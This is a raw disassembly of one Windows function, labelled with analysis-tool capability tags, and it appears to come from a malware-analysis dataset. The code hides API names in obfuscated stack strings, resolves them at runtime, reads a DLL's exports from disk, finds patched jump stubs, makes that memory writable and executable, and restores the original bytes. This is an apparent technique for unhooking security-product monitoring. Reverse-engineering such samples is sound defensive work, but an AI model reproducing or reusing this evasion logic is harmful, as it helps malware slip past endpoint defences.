Function at 0x401090
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x270], edi
mov dword [ebp - 0x258], 0x10b
mov dword [ebp - 0x26c], 0x20b
mov byte [ebp - 0x268], 0
mov byte [ebp - 0x267], 0x5d
mov byte [ebp - 0x266], 0
mov byte [ebp - 0x265], 0xb
mov byte [ebp - 0x264], 0x4c
mov byte [ebp - 0x263], 0
mov byte [ebp - 0x262], 0x2d
mov byte [ebp - 0x261], 0x72
mov byte [ebp - 0x260], 0x23
mov byte [ebp - 0x25f], 0x64
mov byte [ebp - 0x25e], 0x30
mov byte [ebp - 0x25d], 0x2d
mov byte [ebp - 0x25c], 0x2d
mov byte [ebp - 0x25b], 0x16
mov al, byte [ebp - 0x267]
lea ecx, [ebp - 0x268]
call fcn.00401970
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [ebp - 0x244], 0
mov esi, eax
mov byte [ebp - 0x243], 0x3d
mov ebx, 0x7f
mov byte [ebp - 0x242], 0x27
mov byte [ebp - 0x241], 0x1c
mov byte [ebp - 0x240], 0x52
mov byte [ebp - 0x23f], 0x4a
mov byte [ebp - 0x23e], 0x63
mov byte [ebp - 0x23d], 0x5f
mov byte [ebp - 0x23c], 0
mov byte [ebp - 0x23b], 0x27
mov byte [ebp - 0x23a], 0x79
mov byte [ebp - 0x239], 0x35
mov byte [ebp - 0x238], 0
mov byte [ebp - 0x237], 0x27
mov byte [ebp - 0x236], 0x16
mov byte [ebp - 0x235], 0x19
mov byte [ebp - 0x234], 0x43
mov byte [ebp - 0x233], 0x27
mov byte [ebp - 0x232], 0x75
mov byte [ebp - 0x231], 3
mov al, byte [ebp - 0x243]
cmp byte [ebp - 0x244], 0
mov dword [ebp - 0x254], esi
mov dword [ebp - 0x248], ebx
jne 0x401223
xor esi, esi
nop dword [eax]
mov al, byte [ebp + esi - 0x243]
mov ecx, 3
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*8]
shl eax, 2
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x243], dl
inc esi
cmp esi, 0x13
jb 0x4011f0
mov esi, dword [ebp - 0x254]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x243]
push eax
push esi
call ebx
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push edi
call eax
mov byte [ebp - 0x22c], 0
mov byte [ebp - 0x22b], 0x63
mov byte [ebp - 0x22a], 0x67
mov byte [ebp - 0x229], 0x6e
mov byte [ebp - 0x228], 0x22
mov byte [ebp - 0x227], 0xe
mov byte [ebp - 0x226], 0x6e
mov byte [ebp - 0x225], 0x1d
mov byte [ebp - 0x224], 0x3b
mov byte [ebp - 0x223], 0x74
mov byte [ebp - 0x222], 0x6e
mov byte [ebp - 0x221], 0x62
mov byte [ebp - 0x220], 0x60
mov al, byte [ebp - 0x22b]
cmp byte [ebp - 0x22c], 0
jne 0x4012e8
xor esi, esi
nop
mov al, byte [ebp + esi - 0x22b]
mov ecx, 0x60
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*4]
mov ecx, 0x7f
shl eax, 2
cdq
idiv ecx
lea eax, [edx + 0x7f]
cdq
idiv ecx
mov byte [ebp + esi - 0x22b], dl
inc esi
cmp esi, 0xc
jb 0x4012b0
mov esi, dword [ebp - 0x254]
lea eax, [ebp - 0x22b]
push eax
push esi
call ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x210]
push ecx
call eax
mov edi, eax
mov dword [ebp - 0x250], edi
test edi, edi
je 0x40195a
mov byte [ebp - 0x22c], 0
mov byte [ebp - 0x22b], 0x78
mov byte [ebp - 0x22a], 0x6d
mov byte [ebp - 0x229], 0x28
mov byte [ebp - 0x228], 0x17
mov byte [ebp - 0x227], 0x74
mov byte [ebp - 0x226], 0x1a
mov byte [ebp - 0x225], 0x6d
mov byte [ebp - 0x224], 0xe
mov byte [ebp - 0x223], 0x74
mov byte [ebp - 0x222], 0x72
mov byte [ebp - 0x221], 0x6d
mov byte [ebp - 0x220], 0x5b
mov al, byte [ebp - 0x22b]
cmp byte [ebp - 0x22c], 0
jne 0x4013be
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x22b]
movzx eax, al
sub eax, 0x5b
imul eax, eax, 0x37
cdq
idiv dword [ebp - 0x248]
lea eax, [edx + 0x7f]
cdq
idiv dword [ebp - 0x248]
mov byte [ebp + ecx - 0x22b], dl
inc ecx
cmp ecx, 0xc
jb 0x401390
lea eax, [ebp - 0x22b]
push eax
push esi
call ebx
mov byte [ebp - 0x240], 0
mov byte [ebp - 0x23f], 0x76
mov byte [ebp - 0x23e], 0x18
mov byte [ebp - 0x23d], 0x2d
mov byte [ebp - 0x23c], 0x49
mov byte [ebp - 0x23b], 0x66
mov byte [ebp - 0x23a], 0x1a
mov byte [ebp - 0x239], 0x4a
mov byte [ebp - 0x238], 0x26
mov byte [ebp - 0x237], 0x5f
mov byte [ebp - 0x236], 0x18
mov byte [ebp - 0x235], 0x66
mov byte [ebp - 0x234], 0x1e
mov dword [ebp - 0x24c], eax
mov al, byte [ebp - 0x23f]
cmp byte [ebp - 0x240], 0
jne 0x401478
xor esi, esi
lea edi, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x23f]
mov ecx, 0x1e
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*8]
add eax, eax
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x23f], dl
inc esi
cmp esi, 0xc
jb 0x401440
mov edi, dword [ebp - 0x250]
mov esi, dword [ebp - 0x254]
lea eax, [ebp - 0x23f]
push eax
push esi
call ebx
mov ebx, eax
lea eax, [ebp - 0x21c]
push eax
push edi
mov dword [ebp - 0x250], ebx
call dword [ebp - 0x24c]
mov dword [ebp - 0x214], eax
test eax, eax
je 0x401957
mov byte [ebp - 0x230], 0
mov byte [ebp - 0x22f], 0x7e
mov byte [ebp - 0x22e], 0x3b
mov byte [ebp - 0x22d], 0x25
mov byte [ebp - 0x22c], 0x28
mov byte [ebp - 0x22b], 0x79
mov byte [ebp - 0x22a], 0x25
mov byte [ebp - 0x229], 0x5c
mov byte [ebp - 0x228], 0x22
mov byte [ebp - 0x227], 0
mov byte [ebp - 0x226], 0x25
mov byte [ebp - 0x225], 0x37
mov byte [ebp - 0x224], 0x28
mov byte [ebp - 0x223], 0x7c
mov byte [ebp - 0x222], 0x7c
mov byte [ebp - 0x221], 0x22
mov byte [ebp - 0x220], 0x3e
mov byte [ebp - 0x21f], 0x63
mov byte [ebp - 0x21e], 0x6f
mov byte [ebp - 0x21d], 0x51
mov al, byte [ebp - 0x22f]
cmp byte [ebp - 0x230], 0
jne 0x401571
xor ecx, ecx
mov al, byte [ebp + ecx - 0x22f]
movzx eax, al
sub eax, 0x51
imul eax, eax, 0x29
cdq
idiv dword [ebp - 0x248]
lea eax, [edx + 0x7f]
cdq
idiv dword [ebp - 0x248]
mov byte [ebp + ecx - 0x22f], dl
inc ecx
cmp ecx, 0x13
jb 0x401543
lea eax, [ebp - 0x22f]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
push 2
push 0
push edi
call eax
mov esi, eax
mov dword [ebp - 0x24c], esi
test esi, esi
je 0x401957
mov byte [ebp - 0x22c], 0
mov byte [ebp - 0x22b], 0x6c
mov byte [ebp - 0x22a], 0x35
mov byte [ebp - 0x229], 0x6b
mov byte [ebp - 0x228], 0x73
mov byte [ebp - 0x227], 0x1f
mov byte [ebp - 0x226], 0x2a
mov byte [ebp - 0x225], 0x38
mov byte [ebp - 0x224], 0x27
mov byte [ebp - 0x223], 0x47
mov byte [ebp - 0x222], 0x20
mov byte [ebp - 0x221], 0x1f
mov byte [ebp - 0x220], 0x76
mov byte [ebp - 0x21f], 0x2a
mov byte [ebp - 0x21e], 0x22
mov al, byte [ebp - 0x22b]
cmp byte [ebp - 0x22c], 0
jne 0x401656
xor esi, esi
lea ebx, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x22b]
mov ecx, 0x22
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x23
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x22b], dl
inc esi
cmp esi, 0xe
jb 0x401620
mov ebx, dword [ebp - 0x250]
mov esi, dword [ebp - 0x24c]
lea eax, [ebp - 0x22b]
push eax
push dword [ebp - 0x254]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x214]
push 0
push 0
push 4
push esi
call eax
mov dword [ebp - 0x248], eax
test eax, eax
je 0x401954
mov edx, dword [eax + 0x3c]
add edx, eax
movzx ecx, word [edx + 0x18]
cmp ecx, dword [ebp - 0x258]
jne 0x40169c
lea ecx, [edx + 0x78]
jmp 0x4016b2
movzx eax, word [edx + 0x18]
cmp eax, dword [ebp - 0x26c]
jne 0x401954
lea ecx, [edx + 0x88]
mov ebx, dword [ebp - 0x248]
mov edx, ebx
mov ecx, dword [ecx]
call section..text
mov ecx, dword [ebx + eax + 0x20]
mov edx, ebx
lea edi, [ebx + eax]
mov dword [ebp - 0x258], edi
call section..text
mov ecx, dword [edi + 0x24]
mov edx, ebx
lea esi, [ebx + eax]
mov dword [ebp - 0x24c], esi
call section..text
lea edi, [ebx + eax]
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x250], edi
mov eax, dword [eax + 0x18]
test eax, eax
je 0x40195a
mov ecx, dword [esi]
dec eax
mov edx, ebx
mov dword [ebp - 0x274], eax
call section..text
mov edx, ebx
lea esi, [ebx + eax]
mov eax, dword [ebp - 0x258]
mov ecx, dword [eax + 0x1c]
call section..text
movzx ecx, word [edi]
add eax, ebx
mov edx, ebx
mov ecx, dword [eax + ecx*4]
call section..text
xor ecx, ecx
lea edi, [eax + ebx]
mov dword [ebp - 0x26c], edi
cmp byte [edi], cl
je 0x401917
nop word [eax + eax]
cmp ecx, 0x80
jge 0x401917
mov al, byte [ecx + edi]
cmp al, 0x61
jl 0x4017b2
cmp al, 0x7a
jle 0x4017d0
push esi
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401917
mov al, byte [esi]
cmp al, 0xe9
je 0x401796
cmp al, 0xff
jne 0x401917
cmp byte [esi + 1], 0x25
jne 0x401917
test edi, edi
je 0x4017f2
xor ebx, ebx
xor eax, eax
nop
mov cl, byte [eax + edi]
cmp cl, byte [eax + esi]
jb 0x4017e7
ja 0x4017e0
inc eax
cmp eax, 2
jb 0x4017a0
jmp 0x4017ea
cmp al, 0x41
jl 0x4017ba
cmp al, 0x5a
jle 0x4017d0
cmp al, 0x30
jl 0x4017c4
cmp al, 0x39
jg 0x4017c8
jmp 0x4017d0
cmp al, 0x2e
je 0x4017d0
cmp al, 0x5f
je 0x4017d0
cmp al, 0x2d
jne 0x401767
inc ecx
cmp byte [ecx + edi], 0
jne 0x401750
jmp 0x401917
mov ebx, 1
jmp 0x4017ea
or ebx, 0xffffffff
test ebx, ebx
je 0x401911
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x218], 0
mov byte [ebp - 0x240], 0
mov byte [ebp - 0x23f], 0x7a
mov byte [ebp - 0x23e], 0x40
mov byte [ebp - 0x23d], 0x5a
mov byte [ebp - 0x23c], 0x7c
mov byte [ebp - 0x23b], 0xe
mov byte [ebp - 0x23a], 0x37
mov byte [ebp - 0x239], 0x73
mov byte [ebp - 0x238], 0x14
mov byte [ebp - 0x237], 0x5a
mov byte [ebp - 0x236], 0x27
mov byte [ebp - 0x235], 0x7c
mov byte [ebp - 0x234], 0x7b
mov byte [ebp - 0x233], 0x59
mov byte [ebp - 0x232], 0x7c
mov byte [ebp - 0x231], 0x39
mov al, byte [ebp - 0x23f]
cmp byte [ebp - 0x240], 0
jne 0x4018c0
xor ebx, ebx
lea edi, [ebx + 0x7f]
nop word [eax + eax]
mov al, byte [ebp + ebx - 0x23f]
movzx ecx, al
sub ecx, 0x39
mov eax, ecx
shl eax, 4
sub eax, ecx
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ebx - 0x23f], dl
inc ebx
cmp ebx, 0xf
jb 0x401890
mov edi, dword [ebp - 0x26c]
lea eax, [ebp - 0x23f]
push eax
push dword [ebp - 0x254]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
lea eax, [ebp - 0x214]
push eax
push 0x40
push 0x40
push esi
call ebx
test eax, eax
je 0x40195a
movq xmm0, qword [edi]
movq qword [esi], xmm0
mov ax, word [edi + 8]
mov word [esi + 8], ax
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x214]
push 0x40
push esi
call ebx
test eax, eax
je 0x40195a
mov ebx, dword [ebp - 0x248]
mov esi, dword [ebp - 0x24c]
mov edi, dword [ebp - 0x250]
add esi, 4
mov eax, dword [ebp - 0x274]
add edi, 2
mov dword [ebp - 0x24c], esi
mov dword [ebp - 0x250], edi
test eax, eax
jne 0x401702
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004169d7
mov esp, ebp
pop ebp
ret
push esi
call ebx
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004169d7
mov esp, ebp
pop ebp
ret